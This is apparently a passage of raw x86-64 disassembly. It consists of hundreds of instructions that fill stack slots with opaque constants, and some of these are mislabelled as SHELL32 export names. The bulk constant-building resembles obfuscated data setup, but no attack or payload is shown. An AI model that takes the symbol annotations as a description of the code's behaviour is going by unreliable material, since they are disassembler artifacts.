movabs rax, 0x780a446773af3e
mov qword [rsp + 0x10e88], rax
mov byte [rsp + 0x382], 0x58
mov byte [rsp + 0x383], 0x33
movabs rax, 0x77caa05a38842c
mov qword [rsp + 0x10e90], rax
movabs rax, 0x7d83a287ccfe1b
mov qword [rsp + 0x10e98], rax
mov byte [rsp + 0x384], PathYetAnotherMakeUniqueName
mov eax, 0x1d8
mov word [rsp + 0x211c], ax
movabs rax, 0x73e35d337707e5
mov qword [rsp + 0x10ea0], rax
mov dword [rsp + 0x878c], 0x504e
mov byte [rsp + 0x385], 0x7b
mov byte [rsp + 0x386], 0xd2
movabs rax, 0x711c6fe79f1229
mov qword [rsp + 0x10ea8], rax
mov eax, 0x7f7
mov word [rsp + 0x2120], ax
mov eax, 0x192
mov word [rsp + 0x2124], ax
mov eax, 0x772
mov word [rsp + 0x2128], ax
movabs rax, 0x71f3a66403cab8
mov qword [rsp + 0x10eb0], rax
mov byte [rsp + 0x387], 0x4c
mov byte [rsp + 0x388], 0x61
movabs rax, 0x73ef227dcf6410
mov qword [rsp + 0x10eb8], rax
mov eax, 0xe64
mov word [rsp + 0x212c], ax
mov eax, 0xda6
mov word [rsp + 0x2130], ax
mov byte [rsp + 0x389], 0x3e
mov dword [rsp + 0x8790], 0x13bb
mov eax, 0x433
mov word [rsp + 0x2134], ax
mov byte [rsp + 0x38a], 0x27
movabs rax, 0x7ef06069e40d05
mov qword [rsp + 0x10ec0], rax
mov byte [rsp + 0x38b], 0x52
mov eax, 0x222
mov word [rsp + 0x2138], ax
mov eax, 0x64e
mov word [rsp + 0x213c], ax
mov byte [rsp + 0x38c], 0x5a
mov byte [rsp + 0x38d], reloc.SHELL32.dll_ILFree
movabs rax, 0x7811fc4c75a1bb
mov qword [rsp + 0x10ec8], rax
mov dword [rsp + 0x8794], 0xf006
movabs rax, 0x7204002b793ced
mov qword [rsp + 0x10ed0], rax
mov eax, 0x5d8
mov word [rsp + 0x2140], ax
movabs rax, 0x7d2155af22b070
mov qword [rsp + 0x10ed8], rax
mov byte [rsp + 0x38e], 0xc9
movabs rax, 0x757edc821f0d4f
mov qword [rsp + 0x10ee0], rax
movabs rax, 0x71c7698a1a9ea6
mov qword [rsp + 0x10ee8], rax
movabs rax, 0x72f6f18b96259f
mov qword [rsp + 0x10ef0], rax
movabs rax, 0x71a17d9be2874f
mov qword [rsp + 0x10ef8], rax
movabs rax, 0x7baa0b8bc4034a
mov qword [rsp + 0x10f00], rax
movabs rax, 0x73aed0fc92f87c
mov qword [rsp + 0x10f08], rax
movabs rax, 0x742da084dccd16
mov qword [rsp + 0x10f10], rax
mov byte [rsp + 0x38f], SHTestTokenMembership
mov dword [rsp + 0x8798], 0x1445
movabs rax, 0x715962ba71e5a5
mov qword [rsp + 0x10f18], rax
mov eax, 0x295
mov word [rsp + 0x2144], ax
mov eax, 0xf54
mov word [rsp + 0x2148], ax
movabs rax, 0x72695337b1c18f
mov qword [rsp + 0x10f20], rax
mov dword [rsp + 0x879c], 0x359d
mov eax, 0x2af
mov word [rsp + 0x214c], ax
mov dword [rsp + 0x87a0], 0x5471
mov eax, 0x553
mov word [rsp + 0x2150], ax
mov dword [rsp + 0x87a4], 0x4e99
movabs rax, 0x7e1a890e1eb8ee
mov qword [rsp + 0x10f28], rax
mov byte [rsp + 0x390], 0x5f
mov dword [rsp + 0x87a8], 0xd516
mov dword [rsp + 0x87ac], 0xc1c0
movabs rax, 0x7ac1e7a2b05b52
mov qword [rsp + 0x10f30], rax
mov dword [rsp + 0x87b0], 0x3968
mov dword [rsp + 0x87b4], 0xc830
mov byte [rsp + 0x391], 0x52
movabs rax, 0x768effdc55830a
mov qword [rsp + 0x10f38], rax
mov dword [rsp + 0x87b8], 0x6ca6
mov dword [rsp + 0x87bc], 0x1c99
mov byte [rsp + 0x392], 0x64
mov byte [rsp + 0x393], 0xa7
mov byte [rsp + 0x394], 0x7a
mov dword [rsp + 0x87c0], 0x489d
mov dword [rsp + 0x87c4], 0x1423
movabs rax, 0x7ab86ab8ab7ca3
mov qword [rsp + 0x10f40], rax
mov byte [rsp + 0x395], 0xeb
mov dword [rsp + 0x87c8], 0x47ab
mov eax, 0xe72
mov word [rsp + 0x2154], ax
mov eax, 0x5b
mov word [rsp + 0x2158], ax
mov eax, 0x325
mov word [rsp + 0x215c], ax
movabs rax, 0x76aa785d87fb91
mov qword [rsp + 0x10f48], rax
mov dword [rsp + 0x87cc], 0x67db
mov eax, 0xfc3
mov word [rsp + 0x2160], ax
movabs rax, 0x777ed51f1f453e
mov qword [rsp + 0x10f50], rax
mov eax, 0x5e8
mov word [rsp + 0x2164], ax
mov byte [rsp + 0x396], ILClone
movabs rax, 0x7e129da52758e4
mov qword [rsp + 0x10f58], rax
mov dword [rsp + 0x87d0], 0x7f6b
mov dword [rsp + 0x87d4], 0x652c
movabs rax, 0x7a3e48e620c80f
mov qword [rsp + 0x10f60], rax
mov eax, 0x4d7
mov word [rsp + 0x2168], ax
mov eax, 0x62e
mov word [rsp + 0x216c], ax
mov byte [rsp + 0x397], 0x5d
movabs rax, 0x7680d669a12562
mov qword [rsp + 0x10f68], rax
mov eax, 0x4e6
mov word [rsp + 0x2170], ax
mov dword [rsp + 0x87d8], 0xb0e5
mov eax, 0xe84
mov word [rsp + 0x2174], ax
mov dword [rsp + 0x87dc], 0x7551
mov dword [rsp + 0x87e0], 0xd343
mov dword [rsp + 0x87e4], 0x5f6a
mov byte [rsp + 0x398], 0x5f
mov dword [rsp + 0x87e8], 0x1fe7
mov dword [rsp + 0x87ec], 0x4145
mov eax, 0x356
mov word [rsp + 0x2178], ax
mov dword [rsp + 0x87f0], 0x7270
movabs rax, 0x77c5a2324bac5d
mov qword [rsp + 0x10f70], rax
movabs rax, 0x70d8f735c88d40
mov qword [rsp + 0x10f78], rax
movabs rax, 0x7ee17d2d727796
mov qword [rsp + 0x10f80], rax
mov dword [rsp + 0x87f4], 0x9537
mov eax, 0x28a
mov word [rsp + 0x217c], ax
mov byte [rsp + 0x399], SHSetInstanceExplorer
mov dword [rsp + 0x87f8], 0x4f6
mov dword [rsp + 0x87fc], 0xf330
movabs rax, 0x7e2a40cc67763c
mov qword [rsp + 0x10f88], rax
movabs rax, 0x7bf6a1feba7439
mov qword [rsp + 0x10f90], rax
mov eax, 0x132
mov word [rsp + 0x2180], ax
mov eax, 0x4d2
mov word [rsp + 0x2184], ax
mov dword [rsp + 0x8800], 0xb691
movabs rax, 0x7868e3d7b3811c
mov qword [rsp + 0x10f98], rax
movabs rax, 0x747eeab9898971
mov qword [rsp + 0x10fa0], rax
movabs rax, 0x790a8e3e42ab34
mov qword [rsp + 0x10fa8], rax
mov eax, 0x5c6
mov word [rsp + 0x2188], ax
mov eax, 0x3a3
mov word [rsp + 0x218c], ax
movabs rax, 0x7aabef977ab4b6
mov qword [rsp + 0x10fb0], rax
mov dword [rsp + 0x8804], 0x8c43
mov eax, 0xcbe
mov word [rsp + 0x2190], ax
movabs rax, 0x72687c3c9f1cc1
mov qword [rsp + 0x10fb8], rax
mov eax, 0x805
mov word [rsp + 0x2194], ax
mov dword [rsp + 0x8808], 0x7c1a
movabs rax, 0x708d02e238e6d6
mov qword [rsp + 0x10fc0], rax
mov eax, 0x91
mov word [rsp + 0x2198], ax
movabs rax, 0x75788a7dee5c79
mov qword [rsp + 0x10fc8], rax
mov dword [rsp + 0x880c], 0x8b4
mov eax, 0x9e0
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x8810], 0x4dab
mov eax, 0x597
mov word [rsp + 0x21a0], ax
mov byte [rsp + 0x39a], 0xa4
mov dword [rsp + 0x8814], 0x83eb
mov dword [rsp + 0x8818], 0x2d1f
mov dword [rsp + 0x881c], 0xaf1f
mov byte [rsp + 0x39b], 0x67
mov dword [rsp + 0x8820], 0x13f8
mov eax, ILGetNext
mov word [rsp + 0x21a4], ax
mov dword [rsp + 0x8824], 0x5575
mov byte [rsp + 0x39c], 0x8e
movabs rax, 0x79c256c25d474d
mov qword [rsp + 0x10fd0], rax
movabs rax, 0x7740d4d9efcd3f
mov qword [rsp + 0x10fd8], rax
movabs rax, 0x79a4d77b5bef77
mov qword [rsp + 0x10fe0], rax
mov eax, 0x10c
mov word [rsp + 0x21a8], ax
mov dword [rsp + 0x8828], 0x6162
mov eax, 0x610
mov word [rsp + 0x21ac], ax
mov eax, 0x585
mov word [rsp + 0x21b0], ax
mov dword [rsp + 0x882c], 0x2f64
movabs rax, 0x769865e662dc7b
mov qword [rsp + 0x10fe8], rax
mov dword [rsp + 0x8830], 0x96b
movabs rax, 0x7e9de0de4cc9cd
mov qword [rsp + 0x10ff0], rax
movabs rax, 0x7293c839a323cb
mov qword [rsp + 0x10ff8], rax
movabs rax, 0x7c33299ecde5b6
mov qword [rsp + 0x11000], rax
mov dword [rsp + 0x8834], 0x17e
mov eax, 0x129
mov word [rsp + 0x21b4], ax
movabs rax, 0x794c5f951be750
mov qword [rsp + 0x11008], rax
movabs rax, 0x7c4899e927034a
mov qword [rsp + 0x11010], rax
movabs rax, 0x7b1458da07174d
mov qword [rsp + 0x11018], rax
mov eax, 0x41
mov word [rsp + 0x21b8], ax
mov eax, 0x9de
mov word [rsp + 0x21bc], ax
mov dword [rsp + 0x8838], 0x10d1
movabs rax, 0x77ea5485b47f1e
mov qword [rsp + 0x11020], rax
movabs rax, 0x76f8dca3a7cbc5
mov qword [rsp + 0x11028], rax
mov eax, 0x639
mov word [rsp + 0x21c0], ax
movabs rax, 0x7661eac7c905e4
mov qword [rsp + 0x11030], rax
mov byte [rsp + 0x39d], 0xd8
mov byte [rsp + 0x39e], 0xcb
movabs rax, 0x75f9d9f6ee8a13
mov qword [rsp + 0x11038], rax
movabs rax, 0x771acfd2dbe10c
mov qword [rsp + 0x11040], rax
mov dword [rsp + 0x883c], 0x51c7
movabs rax, 0x76ac95612b2adb
mov qword [rsp + 0x11048], rax
movabs rax, 0x7d74241cbbfd25
mov qword [rsp + 0x11050], rax
movabs rax, 0x78dae7bbd2d402
mov qword [rsp + 0x11058], rax
mov byte [rsp + 0x39f], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x8840], 0xb2b6
mov byte [rsp + 0x3a0], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x3a1], 0x13
movabs rax, 0x707e4747d9c19b
mov qword [rsp + 0x11060], rax
mov byte [rsp + 0x3a2], 0x5d
mov byte [rsp + 0x3a3], 0xca
mov eax, 0x356
mov word [rsp + 0x21c4], ax
mov byte [rsp + 0x3a4], 0x5c
mov eax, 0x13f
mov word [rsp + 0x21c8], ax
movabs rax, 0x7eeec3b230696e
mov qword [rsp + 0x11068], rax
movabs rax, 0x7da452c1028c27
mov qword [rsp + 0x11070], rax
movabs rax, 0x77b85bdba43e83
mov qword [rsp + 0x11078], rax
mov dword [rsp + 0x8844], 0xa46c
movabs rax, 0x70bd4779159fae
mov qword [rsp + 0x11080], rax
movabs rax, 0x76fa02a82c24e2
mov qword [rsp + 0x11088], rax
mov byte [rsp + 0x3a5], 0x24
mov dword [rsp + 0x8848], 0x4cf2
mov dword [rsp + 0x884c], 0x23b0
mov byte [rsp + 0x3a6], 0x37
mov eax, 0x3f9
mov word [rsp + 0x21cc], ax
movabs rax, 0x7e2d3c442a4e85
mov qword [rsp + 0x11090], rax
mov byte [rsp + 0x3a7], 0x5c
movabs rax, 0x7cc75529ef5ca9
mov qword [rsp + 0x11098], rax
movabs rax, 0x7d7b0dfb77bbba
mov qword [rsp + 0x110a0], rax
mov eax, 0xe9a
mov word [rsp + 0x21d0], ax
mov byte [rsp + 0x3a8], PathYetAnotherMakeUniqueName
movabs rax, 0x7ed22455d001dc
mov qword [rsp + 0x110a8], rax
mov dword [rsp + 0x8850], 0x5fa
movabs rax, 0x7c99bf58d8c15f
mov qword [rsp + 0x110b0], rax
mov eax, 0x15a
mov word [rsp + 0x21d4], ax
mov byte [rsp + 0x3a9], 0x24
mov eax, 0x222
mov word [rsp + 0x21d8], ax
movabs rax, 0x760b04c4d758db
mov qword [rsp + 0x110b8], rax
mov dword [rsp + 0x8854], 0x634e
mov dword [rsp + 0x8858], 0x581d
mov dword [rsp + 0x885c], 0x4591
movabs rax, 0x7c71f0deb74d80
mov qword [rsp + 0x110c0], rax
mov eax, 0x674
mov word [rsp + 0x21dc], ax
mov eax, 0xeb
mov word [rsp + 0x21e0], ax
mov dword [rsp + 0x8860], 0xa3ba
movabs rax, 0x73ed844fe7afaf
mov qword [rsp + 0x110c8], rax
movabs rax, 0x7e0775026c43a4
mov qword [rsp + 0x110d0], rax
movabs rax, 0x7772cb372ca57d
mov qword [rsp + 0x110d8], rax
mov eax, 0x38c
mov word [rsp + 0x21e4], ax
movabs rax, 0x757c02dd8f20b6
mov qword [rsp + 0x110e0], rax
mov dword [rsp + 0x8864], 0x6fe3
movabs rax, 0x7b531e3681f669
mov qword [rsp + 0x110e8], rax
movabs rax, 0x77a95bc0e76445
mov qword [rsp + 0x110f0], rax
mov dword [rsp + 0x8868], 0x3cf4
mov dword [rsp + 0x886c], 0xabd4
mov eax, 0x378
mov word [rsp + 0x21e8], ax
movabs rax, 0x72e0434e5a321a
mov qword [rsp + 0x110f8], rax
mov eax, 0x1b9
mov word [rsp + 0x21ec], ax
mov eax, 0x164
mov word [rsp + 0x21f0], ax
mov dword [rsp + 0x8870], 0x14d4
mov byte [rsp + 0x3aa], 0xa3
movabs rax, 0x765450012a23f6
mov qword [rsp + 0x11100], rax
mov eax, 0x9b7
mov word [rsp + 0x21f4], ax
movabs rax, 0x7d6bb455550b7b
mov qword [rsp + 0x11108], rax
mov eax, 0x6e0
mov word [rsp + 0x21f8], ax
mov eax, 0x31f
mov word [rsp + 0x21fc], ax
mov dword [rsp + 0x8874], 0x46c5
mov eax, 0x376
mov word [rsp + 0x2200], ax
mov byte [rsp + 0x3ab], 0xcd
movabs rax, 0x7311825c10e1aa
mov qword [rsp + 0x11110], rax
mov byte [rsp + 0x3ac], ILSaveToStream
movabs rax, 0x760defbfa6618b
mov qword [rsp + 0x11118], rax
mov dword [rsp + 0x8878], 0x603b
mov eax, 0x183
mov word [rsp + 0x2204], ax
mov eax, 0x6d0
mov word [rsp + 0x2208], ax
mov eax, 0x1c1
mov word [rsp + 0x220c], ax
mov eax, 0xb80
mov word [rsp + 0x2210], ax
movabs rax, 0x7e053c0f2e1964
mov qword [rsp + 0x11120], rax
mov eax, 0x2a2
mov word [rsp + 0x2214], ax
movabs rax, 0x7124600137f5d6
mov qword [rsp + 0x11128], rax
mov eax, 0x59a
mov word [rsp + 0x2218], ax
movabs rax, 0x72c7f31e068a58
mov qword [rsp + 0x11130], rax
mov eax, 0x333
mov word [rsp + 0x221c], ax
mov eax, 0x5b4
mov word [rsp + 0x2220], ax
mov eax, 0x9e4
mov word [rsp + 0x2224], ax
mov eax, 0x3c3
mov word [rsp + 0x2228], ax
movabs rax, 0x715ccac433525d
mov qword [rsp + 0x11138], rax
mov byte [rsp + 0x3ad], 0x77
mov byte [rsp + 0x3ae], 0x8a
movabs rax, 0x7804107878312b
mov qword [rsp + 0x11140], rax
mov dword [rsp + 0x887c], 0xcdba
movabs rax, 0x7c540709dd7816
mov qword [rsp + 0x11148], rax
mov dword [rsp + 0x8880], 0x9b4b
mov dword [rsp + 0x8884], 0x876c
mov dword [rsp + 0x8888], 0xefdb
movabs rax, 0x76c25533b1ae7a
mov qword [rsp + 0x11150], rax
mov eax, 0x61c
mov word [rsp + 0x222c], ax
mov byte [rsp + 0x3af], 0xc5
mov eax, 0x754
mov word [rsp + 0x2230], ax
mov byte [rsp + 0x3b0], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x70c84cb21c3625
mov qword [rsp + 0x11158], rax
mov eax, 0xe55
mov word [rsp + 0x2234], ax
mov dword [rsp + 0x888c], 0x4666
mov eax, 0x18d
mov word [rsp + 0x2238], ax
movabs rax, 0x7c0451cc7b7d20
mov qword [rsp + 0x11160], rax
mov dword [rsp + 0x8890], 0xeec7
mov eax, 3
mov word [rsp + 0x223c], ax
movabs rax, 0x707565496c33b0
mov qword [rsp + 0x11168], rax
mov eax, 0x2c5
mov word [rsp + 0x2240], ax
mov eax, 0x60f
mov word [rsp + 0x2244], ax
mov eax, 0x243
mov word [rsp + 0x2248], ax
mov byte [rsp + 0x3b1], ILGetNext
mov eax, 0x7c3
mov word [rsp + 0x224c], ax
movabs rax, 0x7d19ac0e451be7
mov qword [rsp + 0x11170], rax
mov byte [rsp + 0x3b2], 0xcb
mov eax, 0xeea
mov word [rsp + 0x2250], ax
mov dword [rsp + 0x8894], 0x3f09
mov dword [rsp + 0x8898], 0x110e
mov dword [rsp + 0x889c], 0xb21f
mov dword [rsp + 0x88a0], 0x228e
movabs rax, 0x7836b55e788f04
mov qword [rsp + 0x11178], rax
movabs rax, 0x7e818cd83fdf3c
mov qword [rsp + 0x11180], rax
mov dword [rsp + 0x88a4], 0x60ca
movabs rax, 0x79b4c6a7eb431c
mov qword [rsp + 0x11188], rax
movabs rax, 0x706f2886cadfb0
mov qword [rsp + 0x11190], rax
mov dword [rsp + 0x88a8], 0x7d95
mov byte [rsp + 0x3b3], 0x52
movabs rax, 0x726e66014544d7
mov qword [rsp + 0x11198], rax
mov eax, 0x91f
mov word [rsp + 0x2254], ax
movabs rax, 0x755740be72974f
mov qword [rsp + 0x111a0], rax
movabs rax, 0x7512b661e02922
mov qword [rsp + 0x111a8], rax
mov dword [rsp + 0x88ac], 0x9a1
movabs rax, 0x7480dd76402981
mov qword [rsp + 0x111b0], rax
mov dword [rsp + 0x88b0], 0x663f
mov dword [rsp + 0x88b4], 0x58e7
mov byte [rsp + 0x3b4], 0x40
movabs rax, 0x79693daf7bccbb
mov qword [rsp + 0x111b8], rax
mov dword [rsp + 0x88b8], 0x515c
mov dword [rsp + 0x88bc], 0x4f7
mov eax, 0x3cc
mov word [rsp + 0x2258], ax
mov eax, 0x5e0
mov word [rsp + 0x225c], ax
mov dword [rsp + 0x88c0], 0x5931
mov dword [rsp + 0x88c4], 0xa4d9
movabs rax, 0x7b7c492435f9f6
mov qword [rsp + 0x111c0], rax
mov byte [rsp + 0x3b5], 0x41
mov dword [rsp + 0x88c8], 0xe2dd
mov eax, 0x8ba
mov word [rsp + 0x2260], ax
movabs rax, 0x78da92af7e85e2
mov qword [rsp + 0x111c8], rax
mov eax, 0x6df
mov word [rsp + 0x2264], ax
mov dword [rsp + 0x88cc], 0xb205
movabs rax, 0x74f141840b3511
mov qword [rsp + 0x111d0], rax
mov byte [rsp + 0x3b6], 0x31
mov byte [rsp + 0x3b7], 0xe0
mov dword [rsp + 0x88d0], 0x4456
mov byte [rsp + 0x3b8], 0x66
mov byte [rsp + 0x3b9], 0xd0
mov dword [rsp + 0x88d4], 0x2fd9
movabs rax, 0x7b126dc1c3a3e4
mov qword [rsp + 0x111d8], rax
mov dword [rsp + 0x88d8], 0x2d60
mov byte [rsp + 0x3ba], 0xdd
movabs rax, 0x794a3e2ff98062
mov qword [rsp + 0x111e0], rax
movabs rax, 0x745db8fdc7d0b6
mov qword [rsp + 0x111e8], rax
mov eax, 0x5bb
mov word [rsp + 0x2268], ax
mov byte [rsp + 0x3bb], PathMakeUniqueName
mov byte [rsp + 0x3bc], 0x35
mov dword [rsp + 0x88dc], 0x2a27
mov dword [rsp + 0x88e0], 0x3ced
movabs rax, 0x74ac415aafee31
mov qword [rsp + 0x111f0], rax
mov eax, 0x473
mov word [rsp + 0x226c], ax
mov byte [rsp + 0x3bd], 0x77
movabs rax, 0x782918c40625a5
mov qword [rsp + 0x111f8], rax
mov eax, 0x33f
mov word [rsp + 0x2270], ax
mov dword [rsp + 0x88e4], 0x2497
mov byte [rsp + 0x3be], 0x57
mov eax, 0x6ab
mov word [rsp + 0x2274], ax
movabs rax, 0x7db44b3a576fd2
mov qword [rsp + 0x11200], rax
mov byte [rsp + 0x3bf], ILGetNext
movabs rax, 0x764982f1641133
mov qword [rsp + 0x11208], rax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x2278], ax
movabs rax, 0x7d706dcb1e9b81
mov qword [rsp + 0x11210], rax
movabs rax, 0x7a54483648d08a
mov qword [rsp + 0x11218], rax
mov eax, 0x155
mov word [rsp + 0x227c], ax
mov dword [rsp + 0x88e8], 0x3358
movabs rax, 0x7efcab31972877
mov qword [rsp + 0x11220], rax
mov dword [rsp + 0x88ec], 0x48c6
mov dword [rsp + 0x88f0], 0x743d
movabs rax, 0x75c857637f29d7
mov qword [rsp + 0x11228], rax
mov eax, 0xa1e
mov word [rsp + 0x2280], ax
mov eax, PathMakeUniqueName
mov word [rsp + 0x2284], ax
mov byte [rsp + 0x3c0], 0x1d
mov dword [rsp + 0x88f4], 0x9c43
mov dword [rsp + 0x88f8], 0xc7a9
mov byte [rsp + 0x3c1], SHUpdateImageW
movabs rax, 0x7e7e37f473a21e
mov qword [rsp + 0x11230], rax
movabs rax, 0x7bc44656451e02
mov qword [rsp + 0x11238], rax
movabs rax, 0x7a2a83f90b2893
mov qword [rsp + 0x11240], rax
movabs rax, 0x7d539393c344f5
mov qword [rsp + 0x11248], rax
mov byte [rsp + 0x3c2], 0xdb
mov eax, 0xd93
mov word [rsp + 0x2288], ax
movabs rax, 0x787e2378539755
mov qword [rsp + 0x11250], rax
movabs rax, 0x7bc22a3207a34c
mov qword [rsp + 0x11258], rax
mov byte [rsp + 0x3c3], 0x38
mov eax, 0xfe6
mov word [rsp + 0x228c], ax
mov dword [rsp + 0x88fc], 0xa22c
mov dword [rsp + 0x8900], 0x5951
mov byte [rsp + 0x3c4], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x3c5], 0x51
mov eax, 0x92b
mov word [rsp + 0x2290], ax
mov dword [rsp + 0x8904], 0x9974
mov eax, 0xaf6
mov word [rsp + 0x2294], ax
movabs rax, 0x76ea3c2e5f7529
mov qword [rsp + 0x11260], rax
mov eax, 0x4a9
mov word [rsp + 0x2298], ax
mov dword [rsp + 0x8908], 0x3708
movabs rax, 0x7db8526ac492f9
mov qword [rsp + 0x11268], rax
mov dword [rsp + 0x890c], 0x39d7
mov dword [rsp + 0x8910], 0x573c
mov dword [rsp + 0x8914], 0x5da5
movabs rax, 0x71023b46310d9b
mov qword [rsp + 0x11270], rax
mov eax, 0xae7
mov word [rsp + 0x229c], ax
mov dword [rsp + 0x8918], 0xa84e
mov eax, 0xadc
mov word [rsp + 0x22a0], ax
mov byte [rsp + 0x3c6], SHTestTokenMembership
mov byte [rsp + 0x3c7], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x3c8], 0x8d
mov dword [rsp + 0x891c], 0x25d1
movabs rax, 0x7662aff0cd37cd
mov qword [rsp + 0x11278], rax
mov dword [rsp + 0x8920], 0xbc84
mov eax, 0x564
mov word [rsp + 0x22a4], ax
mov byte [rsp + 0x3c9], 0xc4
movabs rax, 0x718d92bdee17c2
mov qword [rsp + 0x11280], rax
mov dword [rsp + 0x8924], 0x62ef
movabs rax, 0x789531ca0182b3
mov qword [rsp + 0x11288], rax
mov dword [rsp + 0x8928], 0xcdfd
mov dword [rsp + 0x892c], 0x5279
mov eax, 0x193
mov word [rsp + 0x22a8], ax
mov eax, 0x2d8
mov word [rsp + 0x22ac], ax
movabs rax, 0x72b6ea2c904c7e
mov qword [rsp + 0x11290], rax
movabs rax, 0x7eb625c7679d30
mov qword [rsp + 0x11298], rax
mov dword [rsp + 0x8930], 0x42e1
movabs rax, 0x7bcfccb7aad3c4
mov qword [rsp + 0x112a0], rax
movabs rax, 0x725276af69563f
mov qword [rsp + 0x112a8], rax
movabs rax, 0x735e00bfb2b2d7
mov qword [rsp + 0x112b0], rax
mov eax, 0xd77
mov word [rsp + 0x22b0], ax
mov eax, 0x3c3
mov word [rsp + 0x22b4], ax
mov eax, 0x788
mov word [rsp + 0x22b8], ax
mov dword [rsp + 0x8934], 0x7635
mov dword [rsp + 0x8938], 0x437
mov dword [rsp + 0x893c], 0x4bcb
mov byte [rsp + 0x3ca], 0x39
mov dword [rsp + 0x8940], 0x88
movabs rax, 0x7ccb22c8218ba5
mov qword [rsp + 0x112b8], rax
mov eax, 0x5f2
mov word [rsp + 0x22bc], ax
mov byte [rsp + 0x3cb], 3
movabs rax, 0x728cbcf5662401
mov qword [rsp + 0x112c0], rax
mov byte [rsp + 0x3cc], 0xfc
movabs rax, 0x73eaa1b85f4374
mov qword [rsp + 0x112c8], rax
movabs rax, 0x7c65461bf4a7fe
mov qword [rsp + 0x112d0], rax
mov byte [rsp + 0x3cd], 0x3c
mov dword [rsp + 0x8944], 0xd801
movabs rax, 0x705830f28bb400
mov qword [rsp + 0x112d8], rax
movabs rax, 0x7d5aa458e82e20
mov qword [rsp + 0x112e0], rax
movabs rax, 0x784f1eeadbf91e
mov qword [rsp + 0x112e8], rax
mov byte [rsp + 0x3ce], 0x65
mov byte [rsp + 0x3cf], 0x6a
mov dword [rsp + 0x8948], 0x3a69
mov byte [rsp + 0x3d0], 0x8d
movabs rax, 0x7d680d182cd98a
mov qword [rsp + 0x112f0], rax
mov eax, 0x4d5
mov word [rsp + 0x22c0], ax
movabs rax, 0x70168242c9725e
mov qword [rsp + 0x112f8], rax
movabs rax, 0x726c840beb7333
mov qword [rsp + 0x11300], rax
mov dword [rsp + 0x894c], 0x23f9
mov dword [rsp + 0x8950], 0x8a01
movabs rax, 0x79d0f0dfd94077
mov qword [rsp + 0x11308], rax
mov eax, 0x5e4
mov word [rsp + 0x22c4], ax
movabs rax, 0x75600a07f97be7
mov qword [rsp + 0x11310], rax
mov byte [rsp + 0x3d1], 0x77
mov eax, 0x8f
mov word [rsp + 0x22c8], ax
movabs rax, 0x715d0bda3c03b3
mov qword [rsp + 0x11318], rax
movabs rax, 0x7cbf608ac97d61
mov qword [rsp + 0x11320], rax
movabs rax, 0x736aa59bfec446
mov qword [rsp + 0x11328], rax
mov eax, 0x7aa
mov word [rsp + 0x22cc], ax
mov eax, 0x37c
mov word [rsp + 0x22d0], ax
mov dword [rsp + 0x8954], 0x3890
mov eax, 0x100
mov word [rsp + 0x22d4], ax
mov eax, 0x7b3
mov word [rsp + 0x22d8], ax
mov dword [rsp + 0x8958], 0xc626
mov eax, 0x72a
mov word [rsp + 0x22dc], ax
mov eax, 0x40b
mov word [rsp + 0x22e0], ax
movabs rax, 0x75e47481e43558
mov qword [rsp + 0x11330], rax
mov eax, 0x71d
mov word [rsp + 0x22e4], ax
movabs rax, 0x7390905f0e1f36
mov qword [rsp + 0x11338], rax
mov eax, reloc.SHELL32.dll_SHSetInstanceExplorer
mov word [rsp + 0x22e8], ax
mov dword [rsp + 0x895c], 0x17ef
mov dword [rsp + 0x8960], 0xd6e8
mov byte [rsp + 0x3d2], 0xd4
movabs rax, 0x72a6e7fd02eea3
mov qword [rsp + 0x11340], rax
mov dword [rsp + 0x8964], 0x81cc
mov eax, 0x37d
mov word [rsp + 0x22ec], ax
mov eax, 0xc4
mov word [rsp + 0x22f0], ax
mov byte [rsp + 0x3d3], 0xa2
mov eax, 0x74b
mov word [rsp + 0x22f4], ax
movabs rax, 0x7be69bfd4a9746
mov qword [rsp + 0x11348], rax
mov eax, 0x486
mov word [rsp + 0x22f8], ax
movabs rax, 0x75a2c619cfdc8d
mov qword [rsp + 0x11350], rax
mov dword [rsp + 0x8968], 0x64a5
mov eax, 0x4a2
mov word [rsp + 0x22fc], ax
mov byte [rsp + 0x3d4], 0x5e
mov eax, 0xdb9
mov word [rsp + 0x2300], ax
mov byte [rsp + 0x3d5], ILClone
mov dword [rsp + 0x896c], 0xeb69
mov dword [rsp + 0x8970], 0xe505
mov eax, 0x7a4
mov word [rsp + 0x2304], ax
mov eax, 0x685
mov word [rsp + 0x2308], ax
mov dword [rsp + 0x8974], 0x27c
movabs rax, 0x7c261bb9b0fe92
mov qword [rsp + 0x11358], rax
mov byte [rsp + 0x3d6], 0x75
mov byte [rsp + 0x3d7], 0x13
mov eax, 0x7e7
mov word [rsp + 0x230c], ax
movabs rax, 0x778ffeb4ba5ffb
mov qword [rsp + 0x11360], rax
mov dword [rsp + 0x8978], 0x5cc9
movabs rax, 0x7b1f3497e350b4
mov qword [rsp + 0x11368], rax
mov eax, 0x39f
mov word [rsp + 0x2310], ax
mov byte [rsp + 0x3d8], 0xcb
movabs rax, 0x721c42c9b79e67
mov qword [rsp + 0x11370], rax
mov dword [rsp + 0x897c], 0x303f
mov eax, 0x63c
mov word [rsp + 0x2314], ax
mov eax, 0x1d
mov word [rsp + 0x2318], ax
mov eax, 0x40c
mov word [rsp + 0x231c], ax
mov eax, 0x552
mov word [rsp + 0x2320], ax
mov byte [rsp + 0x3d9], 0x60
movabs rax, 0x791bea22f8fdae
mov qword [rsp + 0x11378], rax
mov byte [rsp + 0x3da], ILSaveToStream
mov byte [rsp + 0x3db], SHSetInstanceExplorer
mov eax, 0x2d1
mov word [rsp + 0x2324], ax
mov eax, 0x3f3
mov word [rsp + 0x2328], ax
mov dword [rsp + 0x8980], 0x6fe8
mov eax, 0x77c
mov word [rsp + 0x232c], ax
mov eax, 0x68e
mov word [rsp + 0x2330], ax
mov byte [rsp + 0x3dc], 0x5a
mov dword [rsp + 0x8984], 0x111f
movabs rax, 0x739e80fcd02238
mov qword [rsp + 0x11380], rax
mov eax, 0x7ad
mov word [rsp + 0x2334], ax
mov byte [rsp + 0x3dd], 0x37
movabs rax, 0x762074c3e0a14f
mov qword [rsp + 0x11388], rax
mov byte [rsp + 0x3de], 0x7b
movabs rax, 0x7d3b6ce260bb06
mov qword [rsp + 0x11390], rax
mov dword [rsp + 0x8988], 0x3603
mov byte [rsp + 0x3df], 0x37
mov eax, 0x63c
mov word [rsp + 0x2338], ax
mov eax, 0x56f
